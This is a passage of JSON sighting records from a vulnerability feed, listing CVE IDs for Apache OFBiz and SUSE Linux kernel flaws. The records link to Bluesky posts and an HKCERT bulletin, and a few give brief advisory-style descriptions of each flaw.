"2026-05-31T11:01:33.291428Z"}, {"uuid": "24bb711f-e123-4204-80a3-ade713ba9d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31986", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mn5g2kfuhj2v", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-31986 Apache\u00a0OFBiz\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nApache OFBiz\u306b\u304a\u3051\u308b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3055\u308c\u305f\u6697\u53f7\u9375\u306e\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u306e\u554f\u984c\u306f\u3001\u30d0\u30fc\u30b8\u30e7\u30f324.09.06\u4ee5\u524d\u306eApache OFBiz\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002", "creation_timestamp": "2026-05-31T11:01:47.509022Z"}, {"uuid": "a7bc8a9f-2b86-440b-b32d-19fbaca4ce27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31910", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mn5g2mdm2m2w", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-31910 Apache\u00a0OFBiz\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nApache OFBiz\u306b\u304a\u3051\u308b\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u8106\u5f31\u6027\u3067\u3059\u3002\u3053\u306e\u554f\u984c\u306f\u3001\u30d0\u30fc\u30b8\u30e7\u30f324.09.06\u4ee5\u524d\u306eApache OFBiz\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002", "creation_timestamp": "2026-05-31T11:01:49.707976Z"}, {"uuid": "72622966-6cb7-4a4d-89b6-1fcdf8b61b4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31525", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mn5umqjwmq25", "content": "found a verifier/interpreter mismatch in the Linux BPF subsystem (CVE-2026-31525, CVSS 7.8). arbitrary kernel read/write; become root, escape containers, disable SELinux, read TLS keys out of other process\u2026\n\n\ud83d\udd01 RT @GuanniQu | reposted by @dinodaizovi\nhttps://x.com/GuanniQu/status/2060838069948018781", "creation_timestamp": "2026-05-31T15:22:30.365461Z"}, {"uuid": "3dcb2862-aade-4f08-9b84-792bf76c2209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "19608f12-9d64-48bb-8f87-2f0ab59fb4e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31422", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "4c5a3fe6-8c98-4ba6-b90c-efa23281cc2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31525", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "e5208c0b-e953-44ec-a470-679374b4e0f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31503", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "e65efead-fa35-4249-bb5e-35dbcda5eb65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31407", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "29c29d3f-3451-41c2-92f2-09ba2cf1f428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "84b35e68-ddfd-42fd-a856-63af58cbb732", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31656", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "d8185b21-d89d-49df-b7d3-0680de9888b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31666", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "879adf9a-bfdc-4819-b430-0a39768bc6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31435", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "b299ec10-716f-45eb-8e3e-33ff956ba53c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31392", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "f448929b-a396-4438-bd54-23684a8b05f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31406", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ddeb7199-2ca6-47aa-8d5b-ce6b20872824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31644", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "d4611c8b-7b39-4288-a2f6-dd015a29a9f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31412", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ab46345a-7f8d-48e0-8def-4d1efc0411f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31421", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "fb8cfb47-d77f-4151-beda-bff626a27512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31526", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "8f20c375-c7fb-422d-9190-f01b05880274", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31607", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "7320fce9-6a9f-4031-9e46-f041c6651832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31678", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "0b27d987-d560-4975-aad3-5f1e49f2a090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31415", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "0d4ac48f-259f-4154-84bb-09c239c133d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31586", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "28a6d9a3-f4cc-4af0-ba00-5dc4d0651261", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31494", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "89897bc7-8e89-4a75-8bd0-2572c8581872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31528", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "b72a866d-e28c-49b1-b6c6-90c8e025531c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31389", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "f4e45437-61f6-4c05-85b1-d292e7487ea1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31393", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "2f5d936a-ecee-4d24-94b1-320b9a49e44a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ff7fc03e-882b-4ba4-bc2f-7e7e67d13c72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31449", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "0305feeb-423e-446d-9b00-a76dea874ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31470", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "077811cd-33ea-4213-b4de-b14ad06633ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31554", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "3335cdb2-c34f-45c7-9da7-19d4f34f68cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31579", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "a3b3f313-c362-49e0-8c87-2893b0a5d0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31588", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "950893be-1695-41e2-b30a-308e728a0eae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31675", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "93c46975-ef21-46fd-914d-b604b045fb4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31394", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "a74a1169-ea88-47ef-9543-fddfbde9928e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31395", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ffa2181a-a66f-40ac-a756-a949a8a89c04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31403", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "fed3f0aa-053e-4107-86fd-cd8e05555660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31420", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "88ddf441-b389-4f92-8ea4-9d6eb388d7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31425", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "e9854cea-7915-4f7d-83e3-fdf139f81d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31426", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "72640c58-97fe-42ce-ba5e-a6089edce959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31496", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "dba75839-0947-47f4-8e54-910a4f71abe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31602", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ff9338b3-c6a3-47f1-b8da-2f3527700e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "16415de2-f70e-4fe6-aa7c-d9c4ed9d46b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31400", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "5bf4499d-41e5-4ffa-b739-f2f9ebe1b6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31405", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "1b3b3789-bebd-416d-8c73-188e4a6dd6d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "8e247815-2381-415d-9c93-7652a7386b47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31416", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "c9b00f52-0460-4066-8ab1-a05db96ad990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31417", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "eeac6fac-bbe8-4a30-b1cb-6080e4771062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31423", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "ce0e4af0-9411-4f43-8417-a927542444fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31519", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "61209cf0-8507-4a9f-bdcc-3ccc0fce9126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31550", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "d048699d-3bc8-41b5-8ebe-43c3d677c55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31668", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "f08a71a1-7ce9-48dd-9293-3a292095401c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31424", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "36276c05-a40c-4d45-88f6-118ec5b82518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31427", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "609f2c20-1ecb-4950-a048-a8e5927b8175", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31515", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "64a2e2d2-65fd-4be2-9a00-f2d20ec42af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31428", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "98884ae5-2ab3-4ffd-8394-36d152fe4482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31684", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "f4e54e71-80f0-4e84-99ab-736674c23cba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31700", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "d36d6f07-324f-4f48-933d-aa5b795cf120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31436", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "6e93d906-9e35-4b6b-a0e1-2e1ebfaf4c57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31453", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "e85d5eac-74aa-4bde-84db-3b5fd0c0f647", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31456", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "7aff38f3-134f-4844-a604-c3413f50b235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31505", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "85d891f4-1b5b-464f-b876-c804c998df8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31507", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "43794176-be6b-42df-b3e8-ee7a55e73d96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31512", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "175b23bd-b655-49a2-9812-4ff14a02f369", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "1698a2ed-0f36-49d0-b0c8-bb616ec31e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31547", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", "creation_timestamp": "2026-05-31T20:00:00.000000Z"}, {"uuid": "5f9967c9-1b27-41cf-ae30-b048707ab1c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31565", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260601", "content": "", 